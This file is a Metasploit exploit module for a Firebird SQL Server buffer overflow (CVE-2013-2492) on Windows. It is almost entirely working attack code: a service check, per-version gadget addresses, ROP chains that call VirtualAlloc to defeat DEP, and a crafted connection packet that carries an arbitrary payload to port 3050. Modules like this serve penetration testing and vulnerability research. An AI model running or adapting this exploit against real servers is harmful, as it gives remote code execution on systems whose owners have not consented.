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1
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize
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    super(
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      'Name'           => 'Firebird Relational Database CNCT Group Number Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a vulnerability in Firebird SQL Server.  A specially
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        crafted packet can be sent which will overwrite a pointer allowing the attacker to
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        control where data is read from.  Shortly, following the controlled read, the
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        pointer is called resulting in code execution.
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        The vulnerability exists with a group number extracted from the CNCT information,
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        which is sent by the client, and whose size is not properly checked.
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        This module uses an existing call to memcpy, just prior to the vulnerable code,
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        which allows a small amount of data to be written to the stack. A two-phases
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        stack pivot allows to execute the ROP chain which ultimately is used to execute
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        VirtualAlloc and bypass DEP.
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      },
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      'Author'      => 'Spencer McIntyre',
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      'Arch'        => ARCH_X86,
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      'Platform'    => 'win',
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      'References'  =>
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        [
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          [ 'CVE', '2013-2492' ],
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          [ 'OSVDB', '91044' ]
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'seh'
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        },
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      'Payload'      =>
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        {
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          # Stackpivot => mov eax,fs:[0x18] # add eax,8 # mov esp,[eax]
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          'Prepend'  => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20",
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          'Space'    => 400,
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          'BadChars' => "\x00\x0a\x0d"
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        },
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      'Targets'     =>
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        [
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          # pivots are pointers to stack pivots of size 0x28
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          [ 'Windows FB 2.5.2.26539', { 'pivot' => 0x005ae1fc, 'rop_nop' => 0x005b0384, 'rop_pop' => 0x4a831344 } ],
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          [ 'Windows FB 2.5.1.26351', { 'pivot' => 0x4add2302, 'rop_nop' => 0x00424a50, 'rop_pop' => 0x00656472 } ],
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          [ 'Windows FB 2.1.5.18496', { 'pivot' => 0x4ad5df4d, 'rop_nop' => 0x0042ba8c, 'rop_pop' => 0x005763d5 } ],
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          [ 'Windows FB 2.1.4.18393', { 'pivot' => 0x4adf4ed5, 'rop_nop' => 0x00423b82, 'rop_pop' => 0x4a843429 } ],
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          [ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ]
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        ],
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      'DefaultTarget'  => 0,
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      'Privileged'     => true,
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      'DisclosureDate' => 'Jan 31 2013',
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      'Notes'          =>
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        {
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          'Stability' => [ CRASH_SERVICE_RESTARTS ],
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        },
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    )
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    register_options([Opt::RPORT(3050)])
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  end
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  def check
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    begin
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      connect
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    rescue
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      vprint_error("Unable to get a connection")
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      return Exploit::CheckCode::Unknown
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    end
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    filename =  "C:\\#{rand_text_alpha(12)}.fdb"
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    username = rand_text_alpha(7)
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    check_data =  ""
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    check_data << "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
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    check_data << "\x00\x00\x00\x13"
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    check_data << filename
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    check_data << "\x00\x00\x00\x00\x04\x00\x00\x00\x24"
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    check_data << "\x01\x07" << username << "\x04\x15\x6c\x6f\x63\x61\x6c"
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    check_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
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    check_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
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    check_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
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    check_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
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    check_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
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    check_data << "\xff\xff\x80\x0c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
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    check_data << "\x00\x00\x00\x08"
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    sock.put(check_data)
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    data = sock.recv(16)
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    disconnect
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    opcode = data.unpack("N*")[0]
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    if opcode == 3 # Accept
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      return Exploit::CheckCode::Detected
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def stack_pivot_rop_chain
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    case target.name
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    when 'Windows FB 2.5.2.26539'
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      rop_chain = [
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        0x005e1ea4,		# MOV EAX,EDI # RETN [fbserver.exe]
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        0x0059ffeb,		# POP EBP # RETN [fbserver.exe]
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        0x0000153c,		# 0x0000153c-> ebp
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        0x005d261f,		# ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
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        0x0059fe1f,		# MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
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      ].pack("V*")
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    when 'Windows FB 2.5.1.26351'
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      rop_chain = [
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        0x005e1ab8,		# MOV EAX,EDI # RETN [fbserver.exe]
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        0x0059650b,		# POP EBP # RETN [fbserver.exe]
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        0x0000153c,		# 0x0000153c-> ebp
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        0x005cf6ff,		# ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
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        0x0059a3db,		# MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
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      ].pack("V*")
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    when 'Windows FB 2.1.5.18496'
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      rop_chain = [
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        0x0055b844,		# MOV EAX,EDI # RETN [fbserver.exe]
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        0x4a86ee77,		# POP ECX # RETN [icuuc30.dll]
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        0x000001c0,		# 0x000001c0-> ecx
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        0x005aee63,		# ADD EAX,ECX # RETN [fbserver.exe]
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        0x4a82d326,		# XCHG EAX,ESP # RETN [icuuc30.dll]
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      ].pack("V*")
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    when 'Windows FB 2.1.4.18393'
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      rop_chain = [
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        0x0042264c,		# MOV EAX,EDI # RETN [fbserver.exe]
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        0x4a8026e1,		# POP ECX # RETN [icuuc30.dll]
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        0x000001c0,		# 0x000001c0-> ecx
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        0x004c5499,		# ADD EAX,ECX # RETN [fbserver.exe]
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        0x4a847664,		# XCHG EAX,ESP # RETN [icuuc30.dll]
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      ].pack("V*")
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    when 'Debug'
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      rop_chain = [ ].fill(0x41414141, 0..5).pack("V*")
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    end
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    return rop_chain
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  end
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  def final_rop_chain
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    # all rop chains in here created with mona.py, thanks corelan!
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    case target.name
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    when 'Windows FB 2.5.2.26539'
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      rop_chain = [
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        0x4a831344,	# POP ECX # RETN [icuuc30.dll]
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        0x0065f16c,	# ptr to &VirtualAlloc() [IAT fbserver.exe]
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        0x005989f0,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
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        0x004666a6,	# XCHG EAX,ESI # RETN [fbserver.exe]
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        0x00431905,	# POP EBP # RETN [fbserver.exe]
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        0x00401932,	# & push esp # ret  [fbserver.exe]
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        0x4a844ac0,	# POP EBX # RETN [icuuc30.dll]
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        0x00001000,	# 0x00001000-> ebx
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        0x4a85bfee,	# POP EDX # RETN [icuuc30.dll]
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        0x00001000,	# 0x00001000-> edx
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        0x005dae9e,	# POP ECX # RETN [fbserver.exe]
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        0x00000040,	# 0x00000040-> ecx
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        0x0057a822,	# POP EDI # RETN [fbserver.exe]
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        0x005b0384,	# RETN (ROP NOP) [fbserver.exe]
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        0x0046f8c3,	# POP EAX # RETN [fbserver.exe]
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        0x90909090,	# nop
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        0x00586002,	# PUSHAD # RETN [fbserver.exe]
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      ].pack("V*")
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    when 'Windows FB 2.5.1.26351'
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      rop_chain = [
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        0x00656472,	# POP ECX # RETN [fbserver.exe]
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        0x0065b16c,	# ptr to &VirtualAlloc() [IAT fbserver.exe]
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        0x00410940,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
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        0x0063be76,	# XCHG EAX,ESI # RETN [fbserver.exe]
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        0x0041d1ae,	# POP EBP # RETN [fbserver.exe]
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        0x0040917f,	# & call esp [fbserver.exe]
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        0x4a8589c0,	# POP EBX # RETN [icuuc30.dll]
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        0x00001000,	# 0x00001000-> ebx
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        0x4a864cc3,	# POP EDX # RETN [icuuc30.dll]
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        0x00001000,	# 0x00001000-> edx
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        0x0064ef59,	# POP ECX # RETN [fbserver.exe]
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        0x00000040,	# 0x00000040-> ecx
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        0x005979fa,	# POP EDI # RETN [fbserver.exe]
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        0x00424a50,	# RETN (ROP NOP) [fbserver.exe]
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        0x4a86052d,	# POP EAX # RETN [icuuc30.dll]
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        0x90909090,	# nop
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        0x005835f2,	# PUSHAD # RETN [fbserver.exe]
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      ].pack("V*")
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    when 'Windows FB 2.1.5.18496'
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      rop_chain = [
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        0x005763d5,	# POP EAX # RETN [fbserver.exe]
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        0x005ce120,	# ptr to &VirtualAlloc() [IAT fbserver.exe]
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        0x004865a4,	# MOV EAX,DWORD PTR DS:[EAX] # RETN [fbserver.exe]
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        0x004cf4f6,	# XCHG EAX,ESI # RETN [fbserver.exe]
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        0x004e695a,	# POP EBP # RETN [fbserver.exe]
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        0x004d9e6d,	# & jmp esp [fbserver.exe]
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        0x4a828650,	# POP EBX # RETN [icuuc30.dll]
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        0x00001000,	# 0x00001000-> ebx
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        0x4a85bfee,	# POP EDX # RETN [icuuc30.dll]
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        0x00001000,	# 0x00001000-> edx
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        0x00590328,	# POP ECX # RETN [fbserver.exe]
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        0x00000040,	# 0x00000040-> ecx
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        0x4a8573a1,	# POP EDI # RETN [icuuc30.dll]
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        0x0042ba8c,	# RETN (ROP NOP) [fbserver.exe]
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        0x00577605,	# POP EAX # RETN [fbserver.exe]
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        0x90909090,	# nop
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        0x004530ce,	# PUSHAD # RETN [fbserver.exe]
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      ].pack("V*")
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    when 'Windows FB 2.1.4.18393'
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      rop_chain = [
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        0x4a843429,	# POP ECX # RETN [icuuc30.dll]
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        0x005ca120,	# ptr to &VirtualAlloc() [IAT fbserver.exe]
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        0x0055a870,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
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        0x004cecf6,	# XCHG EAX,ESI # RETN [fbserver.exe]
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        0x004279c0,	# POP EBP # RETN [fbserver.exe]
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        0x0040747d,	# & call esp [fbserver.exe]
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        0x004ebef1,	# POP EBX # RETN [fbserver.exe]
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        0x00001000,	# 0x00001000-> ebx
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        0x4a864c5e,	# POP EDX # RETN [icuuc30.dll]
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        0x00001000,	# 0x00001000-> edx
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        0x004eaa3b,	# POP ECX # RETN [fbserver.exe]
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        0x00000040,	# 0x00000040-> ecx
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        0x4a8330a2,	# POP EDI # RETN [icuuc30.dll]
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        0x00423b82,	# RETN (ROP NOP) [fbserver.exe]
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        0x0046b5b1,	# POP EAX # RETN [fbserver.exe]
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        0x90909090,	# nop
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        0x004c8cfc,	# PUSHAD # RETN [fbserver.exe]
226
      ].pack("V*")
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    when 'Debug'
228
      rop_chain = [ ].fill(0x41414141, 0..17).pack("V*")
229
    end
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    return rop_chain
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  end
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  def exploit
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    connect
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236
    rop_nop_sled = [ ].fill(target['rop_nop'], 0..16).pack("V*")
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238
    # this data gets written to the stack via memcpy, no more than 32 bytes can be written
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    overwrite_and_rop_chain =  [ target['rop_pop'] ].pack("V") # POP to skip the 4 bytes of the original pivot
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    overwrite_and_rop_chain << [ (target['pivot'] - 8) ].pack("V") # MOV EDX,DWORD PTR DS:[EAX+8]
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    overwrite_and_rop_chain << stack_pivot_rop_chain
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243
    filename  =  "C:\\#{rand_text_alpha(13)}.fdb"
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    evil_data =  "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
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    evil_data << "\x00\x00\x00\x14"
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    evil_data << filename
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    evil_data << "\x00\x00\x00\x04\x00\x00\x00\x24"
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    evil_data << "\x05\x20"
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    evil_data << overwrite_and_rop_chain
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    evil_data << "\x15\x6c\x6f\x63\x61\x6c"
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    evil_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
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    evil_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
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    evil_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
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    evil_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
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    evil_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
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    evil_data << "\x41\x41\x41\x41\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
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    evil_data << "\x00\x00\x00\x08\x00\x41\x41\x41"
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    evil_data << rop_nop_sled
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    evil_data << final_rop_chain
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    evil_data << payload.encoded
261

262
    print_status("#{rhost}:#{rport} - Sending Connection Request For #{filename}")
263
    sock.put(evil_data)
264

265
    disconnect
266
  end
267
end
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